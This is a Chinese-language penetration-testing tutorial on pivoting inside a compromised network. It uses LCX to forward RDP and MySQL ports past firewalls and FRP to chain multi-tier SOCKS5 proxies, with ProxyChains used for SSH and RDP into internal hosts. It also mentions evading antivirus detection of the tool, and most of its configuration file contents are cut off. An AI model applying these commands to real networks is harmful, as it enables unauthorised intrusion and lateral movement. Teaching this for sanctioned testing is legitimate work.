域渗透(三)-端口转发与内网代理
1.端口转发和代理
1.正向连接和反向连接
1.正向连接
正向连接就是受控端主机监听一个端口,由控制端主机主动去连接受控端主机的过程,适用于受控主机具有公网IP的情况下。
2.反向连接
反向连接是控制端主机监听一个端口,由受控端主机反向去连接控制端主机的过程,适用于受控端主机没有公网IP的情况。
在渗透测试中,正向连接往往受限于受控主机上的防火墙屏蔽及权限不足等情况,
而反向连接可以很好地突破这些限制。
2.端口转发与映射
端口转发(Port Forwarding)是网络地址转换(NAT)的一种应用。通过端口转发,一个网络端口上收到的数据可以被转发给另一个网络端口。转发的端口可以是本机的端口,也可以是其他主机上的端口。
内网防火墙会检查敏感端口的连接情况,如果连接存在异样会阻断通信。通过端口转发可以将敏感端口数据转发到防火墙允许的端口上,建立通信隧道,绕过防火墙。
端口映射(Port Mapping)也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网P地址的内网主机能够对外提供相应的服务。
根据相关资料,端口转发与端口映射的概念并没有严格的术语解释。
3.SOCKS代理
SOCKS是一种代理协议,其端口为1080,有SOCKS4和SOCKS5两个版本。
SOCKS4只支持TCP。SOCKS5可以支持TCP、UDP和各种身份验证机制等协议。
采用SOCKS协议的代理服务器被称为SOCKS服务器,这是一种通用的代理服务器,在网络通信中扮演着一个请求代理人的角色。
内网渗透中通过搭建SOCKS代理可以与目标内网主机进行通信。
2.常见转发与代理工具
1.LCX
lcx基于Socket套接字,很多杀软已将Lcx加入特征库,实际时需要免杀。
网上下载地址很多,本文提供下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
1.目标有公网IP
假设Windows Server 2012 具有公网IP
Windows 7为测试人员攻击机。
此时已获取Windows Server2012的控制权,需要登录其远程桌面查看情况,但是防火墙对3389端口做了限制,不允许外网机器对3389端口进行连接。
可以通过端口转发,将3389端口转发到防火墙允许的端口上,例如4444端口。
Windows Server 2012上运行
lcx.exe -tran 4444 127.0.0.1:3389 |
攻击机连接4444端口即可远程连接
成功连接:
2.端口映射
环境:
Web服务器(Windows Server 2012)有两个网卡,公网:192.168.89.10 内网:10.10.10.13
内网还存在一台MYSQL服务器:10.10.10.15
已获取Windows Server 2012 的控制权,得知内网存在MYSQL服务器且获得Mysql登录凭据
目标:登录MYSQL服务器
环境配置:
Windos Server 2012两块网卡,
一块配192.168.89.10,另一块配10.10.10.13
Windows 7一块网卡,ip配为10.10.10.15
连通性测试
将MYSQL服务器的3306端口映射到Windows Server 2222端口
Windows Server 2012执行
lcx.exe -tran 2222 10.10.10.15 3306 |
ip为192.168.89.20的攻击机借助Navicat连接Windows Server 2012 的2222端口
成功连接:
3.目标机无公网IP
Web服务器 10.10.10.15无公网IP, 通过NAT对外提供Web服务
已获得Web服务器的登录凭证。
无法通过IP访问Mysql服务器.需要公网VPS先监听一个端口,将Web服务器的3389端口转发到VPS的这个端口上。
公网VPS 监听本地4444端口,并将8888端口接收到的数据转发给本地的4444端口
lcx.exe -listen 4444 8888 |
Mysql服务器用自己的3306端口去连接VPS的8888端口
lcx.exe -slave 10.10.10.13 8888 127.0.0.1 3389 |
攻击机rdesktop连接VPS的4444端口
rdesktop 192.168.89.10:4444 |
成功连接:
2.FRP
FRP是一个专注于内网穿透的高性能的反向代理引用,支持TCP,UDP,HTTP,HTTPS等协议.
FRP支持搭建SOCKS5代理应用
项目地址:https://github.com/fatedier/frp
FRP主要包含以下文件:
frps , 服务端程序 , frps.ini , 服务端配置文件;
frpc , 客户端程序 , frpc.ini , 客户端配置文件;
测试环境
资产表
1.一级网络代理
已获取Windows Server2012 Web服务器的控制权,获取FTP服务器的SSH登录凭据
目标:继续渗透并登录FTP服务器的SSH
途径: Windows Server 2012上使用FRP搭建SOCKS5代理服务
1.VPS(Ubuntu 20.04 192.168.2.x)作为FRP服务端,执行如下命令启动FRP服务端程序
./frps -c ./frps.ini |
frps.ini文件内容如下:
[common] |
填写配置文件时需要将注释删掉
2.Windows Server 2012作为FRP客户端,执行如下命令启动客户端程序:
.\frpc.exe -c .\frpc.ini |
frpc.ini文件内容如下:
[common] |
成功在Windows Server 2012 与VPS之间搭建了一个SOCKS5代理服务。可以借助第三方工具让计算机的其他应用使用这个SOCKS5代理,如ProxyChains、Proxifier等。
以ProxyChains为例。ProxyChains是一款可以在linux下实现全局代理的软件,可以使用任何应用程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS4、SOCKS5类型代理。
首先编辑ProxyChains配置文件 /etc/proxychains.conf, 将SOCKS5代理服务器的地址指向FRP 服务端的地址。
命令行前加上”proxychains” 便可以用此SOCKS5代理
proxychains ssh root@10.10.10.15 |
通过SOCKS5代理登录FTP的SSH
2.二级网络代理
获取FTP服务器控制权后,经过信息收集,发现还有一个网段为192.168.30.0/24的办公区网络,需要继续渗透并登录文件服务器的远程桌面。用FRP在DMZ区与办公区之间搭建一个二级网络的SOCKS5代理,从而访问办公区的文件服务器。
1.VPS启动FRP服务端
./frps -c ./frps.ini |
服务端配置文件fprs.ini的内容如下
[common] |
2.Windows Server 2012启动FRP客户端,连接VPS的服务器
.\frpc.exe -c .\fprc.ini |
同时将本地10808端口转发到VPS的1080端口
[common] |
3.Windows Server 2012启动一个FRP服务端
.\frps.exe -c .\frps.ini |
服务端配置文件frps.ini内容如下
[common] |
4.DMS的FTP服务器上启动FRP客户端
./frpc -c ./frpc.ini |
连接Windows Server 2012 并在10808端口上启动SOCKS5代理服务后,转发到Windows Server 2012的10808端口上。
frpc.ini的内容如下
[common] |
到此,成功在DMZ区与办公区之间搭建了一个二级网络的SOCKS5代理
同理,在ProxyChains文件的最后一行添加 “socks5 192.168.2.x 1080”
3.三级网络代理
与二层同理,在二层的基础上多了一级代理。
1.DMS的FTP服务器启动一个FRP客户端
./frpc -c ./frpc.ini |
frpc.ini
[common] |
2.DMS的FTP服务器上启动一个FRP服务端
./frps -c ./frps.ini |
frps.ini
[common] |
3.办公区的文件服务器启动FRP客户端,连接FTP服务器的FRP服务端,并在10809端口上启动SOCKS5代理服务后,转发到FTP服务器的10809端口
[common] |
三级网络代理搭建完成。在ProxyChains配置文件的最后一行添加”socks5 192.168.2.x 1080”
proxychains rdesktop 192.168.60.10 |
即可连接远程桌面